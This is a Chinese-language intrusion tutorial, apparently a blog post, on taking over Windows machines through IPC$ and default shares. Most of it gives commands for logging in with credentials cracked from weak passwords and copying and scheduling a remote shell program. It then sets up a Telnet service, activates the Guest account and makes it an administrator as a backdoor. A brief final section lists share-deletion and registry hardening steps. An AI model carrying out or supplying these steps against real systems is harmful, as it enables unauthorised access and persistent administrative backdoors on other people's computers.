Windows 远程控制（经典IPC$入侵、psexec类工具、利用WMI远程入侵、PsRemoting远程命令执行、使用wmic命令远程执行）

一、经典IPC$入侵

利用ipc$和默认共享入侵远程电脑的过程

1. C:\>net use \\127.0.0.1\IPC$ "密码" /user:"用户名"

一般通过扫描弱口令来得到管理员帐号和密码

 

2. C:\> copy srv.exe \\127.0.0.1\admin$

先复制srv.exe上去(这里的$是指admin用户的c:\winnt\system32\,大家还可以使用c$、d$，意思是C盘与D盘，这看你要复制到什么地方去了)。

 

3. C:\> net time \\127.0.0.1

查查时间，发现127.0.0.1 的当前时间是2004/6/15上午11:00。

 

4. C:\>at \127.0.0.1 11:05 srv.exe用at命令启动srv.exe吧

 

5. C:\> net time \\127.0.0.1

再查查到时间没有?如果127.0.0.1的当前时间是2004/6/15 上午11:05, 那就准备开始下面的命令。

 

6. C:\>telnet 127.0.0.1 99

这里会用到Telnet命令吧，注意端口是99。Telnet默认的是23端口，但是我们使用的是SRV在对方计算机中为我们建立一个99端口的Shell.

虽然我们可以Telnet上去了，但是SRV是一次性的，下次登录还要再激活!所以我们打算建立一个Telnet服务!这就要用到ntlm了

 

7.C:\> copy ntlm.exe \\127.0.0.1\admin$

用Copy命令把ntlm.exe上传到主机上。

 

8. C:\WINNT\system32> ntlm

在对方计算机运行ntlm,当出现"DONE的时候,就说明已经启动正常。然后使用"net starttelnet"来开启Telnet服务!

 

9. Telnet 127.0.0.1, 接着输入用户名与密码就进入对方了，***作就像在DOS上****作一样简单!

 

10. C:\> net user guest /active:yes将对方的Guest用户激活。

 

11. C:\> net user guest 1234 &net localgroup administrators guest /add

将Guest的密码改为1234,将Guest变为Administrator.

 

防止别人用ipc$和默认共享入侵

1. 先把已有的默认共享删除(有几个删几个)

net share ipc$ /del

net share admin$ /del

net share c$ /del

 

2. 禁止建立空连接 首先运行regedit,找到如下主键

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\ControlLSA]把RestrictAnonymous (DWORD)的键值改为: 00000001。

 

3. 禁止自动打开默认共享 对于server版，找到如下主键

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServerParameters]

把AutoShareServer (DWORD)的键值改为:00000000。

对于pro版，则是

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServerParameters]

把AutoShareWks (DWORD)的键值改为，00000000.

如果上面所说的主键不存在，就新建一个再改键值。